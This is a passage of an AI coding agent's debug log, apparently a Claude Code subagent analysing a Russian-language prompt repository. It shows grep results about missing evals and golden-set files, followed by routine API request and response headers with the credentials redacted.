\u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 knowledge-lifecycle:\\n./standards/evals-contract-standard.md:259:- Golden-set **\u041d\u0415 \u0414\u041e\u041b\u0416\u0415\u041d** \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0430\u0433\u0435\u043d\u0442 \u043d\u0435 \u043f\u0440\u043e\u0448\u0451\u043b\\n./standards/evals-contract-standard.md:265:  \u0431\u0435\u0437 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e golden-set.\\n./standards/evals-contract-standard.md:300:| 1 | Frontmatter golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0440\u0430\u0437\u0434\u0435\u043b\u0443 `Frontmatter` | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c |\\n./standards/evals-contract-standard.md:302:| 3 | \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u0435\u0439\u0441 \u0438\u043c\u0435\u0435\u0442 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 | \u042d\u0442\u0430\u043b\u043e\u043d \u043d\u0435\u0434\u043e\u043a\u0430\u0437\u0443\u0435\u043c |\\n./standards/evals-contract-standard.md:305:| 6 | \u0421\u0441\u044b\u043b\u043a\u0430 `rubric` \u0438\u0437 golden-set \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0444\u0430\u0439\u043b | \u0420\u0443\u0431\u0440\u0438\u043a\u0430-\u0441\u0438\u0440\u043e\u0442\u0430 |\\n./standards/evals-contract-standard.md:350:- [Glossary](GLOSSARY.md) \u2014 Evals, Rubric, Golden-set (\u00a715.9)\\n./standards/evals-contract-standard.md:370:| Q4 | \u041d\u0443\u0436\u0435\u043d \u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 (YAML/JSON) golden-set \u0432\u043c\u0435\u0441\u0442\u043e Markdown | \u041e\u0442\u043a\u0440\u044b\u0442 \u0434\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0439 \u0431\u043e\u043b\u0438 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 |\\n./scripts/validate_issue_263_vision_alignment.py:19:- \u0441\u0442\u0430\u0442\u0443\u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0441\u0442\u043d\u043e: evals \u0438 golden-set \u0432\\n./scripts/validate_issue_263_vision_alignment.py:74:        \\\"\u043d\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 `evals/` \u0438 \u043d\u0435\u0442 golden-set\\\",\\n./scripts/validate_issue_263_vision_alignment.py:77:        \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\",\\n./scripts/validate_issue_263_vision_alignment.py:102:        \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\",\\n./scripts/validate_issue_272_run_0019.py:198:        if \\\"golden case\\\" not in (RUN_DIR / relative).read_text(encoding=\\\"utf-8\\\"):\\n./scripts/validate_issue_272_run_0019.py:201:                f\\\"is not an approved template / golden case\\\"\\n./README.md:50:**evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442** \u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0441\u0442\u043d\u043e \u0432\\n./ai-governance/ai-governance.md:90:| Evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0430 | **\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442.** \u0412 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043d\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 `evals/` \u0438 \u043d\u0435\u0442 golden-set: `runs/` \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442 \u0432\u0445\u043e\u0434 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u043e \u043d\u0435 \u044d\u0442\u0430\u043b\u043e\u043d \u0434\u043b\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u2014 `metadata.y\\n./ai-governance/ai-governance.md:94:1. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0425\u0430\u0431\u0430 \u043e\u0431 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 `evals/` \u0438 golden-set \u0432\\n./runs/2026/RUN-0068/metadata.yaml:31:  template_v4_matches_over_90: 0\\n./runs/2026/RUN-0069/metadata.yaml:31:  template_v4_matches_over_90: 0\\n./runs/2026/RUN-0069/metadata.yaml:32:  template_v4_max_similarity: 0.638\\n./experiments/issue_353/render_report.py:46:\u041d\u0430 \u0432\u044b\u0431\u043e\u0440\u043a\u0435 \u0438\u0437 **{len(sample)} \u0441\u0442\u0440\u043e\u043a** RUN-0065 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c\u0438 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430\u043c\u0438 \u0432\\n./experiments/issue_353/render_report.py:224:100% \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432, 100% \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0445 page-bearing \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0439\\n./experiments/bench_validators.py:4:\u041a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0440\u0430\u0437\u043c\u043d\u043e\u0436\u0430\u0435\u0442 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\\n./docs/ba-ecosystem.md:66:| Evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0430 | \u041f\u0440\u043e\u0433\u043e\u043d \u0432 [`runs/`](../runs/) \u0441 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c \u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u043c \u0432\u044b\u0445\u043e\u0434\u043e\u043c. **\u041f\u043e\u043a\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d:** `evals/` \u0438 golden-set \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 ([\u0441\u0442\u0430\u0442\u0443\u0441 \u043c\u0435\u0445\\n./docs/rfc/prompt-improvement-bcreq-1025-proposal.md:198:**\u0422\u0438\u043f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f:** Minor (\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u043e + \u043d\u043e\u0432\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e\\n./docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md:25:\u041d\u0430 \u0432\u044b\u0431\u043e\u0440\u043a\u0435 \u0438\u0437 **65 \u0441\u0442\u0440\u043e\u043a** RUN-0065 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c\u0438 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430\u043c\u0438 \u0432\\n./docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md:270:100% \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432, 100% \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0445 page-bearing \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0439\\n./docs/report/evidence/2026-09-01-run-0065-acb6c7bc-redacted.txt:3923:[2026-09-01T08:35:38.311Z] [STDOUT] {\\\"type\\\":\\\"item.completed\\\",\\\"item\\\":{\\\"id\\\":\\\"item_19\\\",\\\"type\\\":\\\"command_execution\\\",\\\"command\\\":\\\"/bin/bash -lc \\\\\\\"sed -n '1,260p' CONTRIBUTING.md && sed -n '1,260p' README.md && sed -n '1,260p' runs/README.\\n./pr-ops/BACKLOG.md:324:- [ ] [2026-08-17] [issue #263] **\u041f\u0440\u043e\u0431\u0435\u043b: evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442.**\\n./pr-ops/BACKLOG.md:330:      \u041d\u0443\u0436\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430: \u0444\u043e\u0440\u043c\u0430\u0442 golden-set, \u043c\u0435\u0441\u0442\u043e \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u0441\u0432\u044f\u0437\u044c \u0441\\n./CHANGELOG.md:693:  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0438\u043b\u0438 golden case \u2014 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0434\u043b\u044f \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u0438\u044f\\n./CHANGELOG.md:730:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c: \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a\\n./CHANGELOG.md:807:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439, \u0434\u0438\u0430\u043b\u043e\u0433 \u043e\u0431\u043e\u0440\u0432\u0430\u043d \u043d\u0430\\n./CHANGELOG.md:827:  \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 email \u0432 \u041b\u041a\u00bb. \u0414\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435 (\u043d\u0435 \u044d\u0442\u0430\u043b\u043e\u043d \u0438 \u043d\u0435 golden case),\\n./CHANGELOG.md:888:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0438\u0442\u043e\u0433 \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439, \u0441 \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n./CHANGELOG.md:923:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0438\u0442\u043e\u0433 \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u043e\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n./CHANGELOG.md:1006:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case \u0438 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c: \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\\n./CHANGELOG.md:1044:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c \u043a\u0435\u0439\u0441\u043e\u043c:\\n./CHANGELOG.md:1074:- \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a **\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439, \u043d\u0435 golden case**: \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440 \u0424\u0422 v1.4\\n./CHANGELOG.md:1101:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0441\\n./CHANGELOG.md:1196:  golden case; \u0437\u0430\u043f\u0438\u0441\u044c \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0434\u043b\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n./CHANGELOG.md:1315:- \u041e\u0433\u043e\u0432\u043e\u0440\u043a\u0430: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u2014 **\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439**, \u044d\u0442\u043e \u043d\u0435 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0438 \u043d\u0435\\n./CHANGELOG.md:1316:  golden case; \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0438 BA-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432,\",\n[2026-09-29T07:46:39.692Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:39.692Z] [INFO]       }\n[2026-09-29T07:46:39.692Z] [INFO]     ]\n[2026-09-29T07:46:39.692Z] [INFO]   },\n[2026-09-29T07:46:39.692Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"uuid\": \"03d3a88e-fd47-4700-a65f-36c9ce81acc7\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:38.779Z\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:39.692Z] [INFO] }\n[2026-09-29T07:46:39.708Z] [STDOUT] [log_894501] sending request {\n[2026-09-29T07:46:39.714Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:39.731Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:39.742Z] [STDOUT]   options: {\n[2026-09-29T07:46:39.751Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:39.763Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:39.768Z] [STDOUT]     body: {\n[2026-09-29T07:46:39.775Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:39.777Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:39.782Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:39.788Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:39.794Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:39.815Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:39.857Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:39.862Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:39.868Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:39.872Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:39.883Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:39.889Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:39.891Z] [STDOUT]     },\n[2026-09-29T07:46:39.893Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:39.898Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:39.902Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:39.906Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:39.912Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:39.917Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:39.925Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:39.931Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:39.934Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:39.940Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:39.944Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:39.947Z] [STDOUT]     },\n[2026-09-29T07:46:39.952Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:39.954Z] [STDOUT]   },\n[2026-09-29T07:46:39.957Z] [STDOUT]   headers: {\n[2026-09-29T07:46:39.959Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:39.965Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:39.975Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:39.980Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:39.984Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:39.990Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:39.994Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:39.997Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:40.006Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:40.012Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:40.017Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:40.079Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1645\",\n[2026-09-29T07:46:40.085Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:40.088Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:40.095Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:40.102Z] [STDOUT]     \"x-client-request-id\": \"8d773091-5da7-4796-ba43-68d049021c11\",\n[2026-09-29T07:46:40.106Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:40.131Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:40.135Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:40.153Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:40.159Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:40.163Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:40.165Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:40.170Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:40.176Z] [STDOUT]   },\n[2026-09-29T07:46:40.180Z] [STDOUT] }\n[2026-09-29T07:46:40.185Z] [INFO] {\n[2026-09-29T07:46:40.185Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:40.185Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:40.185Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:46:40.185Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:40.185Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:40.185Z] [INFO]   \"uuid\": \"9acfa2d5-fb21-4393-9d2f-b64f276bd731\"\n[2026-09-29T07:46:40.185Z] [INFO] }\n[2026-09-29T07:46:40.189Z] [STDOUT] [log_894501, request-id: \"req_011CfXMrDNLCfWN3pyy5mghJ\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 699ms\n[2026-09-29T07:46:40.192Z] [STDOUT] [log_894501] response start {\n[2026-09-29T07:46:40.195Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:40.197Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:40.200Z] [STDOUT]   headers: {\n[2026-09-29T07:46:40.203Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:40.207Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:40.210Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:40.214Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:40.221Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:40.224Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:40.234Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:40.238Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:40.255Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:40.258Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:40.260Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:40.263Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:40.267Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:40.270Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:40.273Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:40.277Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:40.280Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:40.284Z] [STDOUT]     \"cf-ray\": \"a42960109bed29ad-FRA\",\n[2026-09-29T07:46:40.287Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:40.290Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:40.293Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:40.295Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:40.298Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:39 GMT\",\n[2026-09-29T07:46:40.304Z] [STDOUT]     \"request-id\": \"req_011CfXMrDNLCfWN3pyy5mghJ\",\n[2026-09-29T07:46:40.307Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:40.312Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:40.318Z] [STDOUT]     traceresponse: \"00-f53cdcd583dec5e849460e302580d2bd-e0e893f731b07345-01\",\n[2026-09-29T07:46:40.320Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:40.324Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:40.332Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:40.336Z] [STDOUT]   },\n[2026-09-29T07:46:40.341Z] [STDOUT]   durationMs: 699,\n[2026-09-29T07:46:40.345Z] [STDOUT] }\n[2026-09-29T07:46:40.348Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:40.354Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:39 GMT\",\n[2026-09-29T07:46:40.361Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:40.364Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:40.370Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:40.374Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:40.378Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:40.382Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:40.384Z] [STDOUT]   \"vary\": 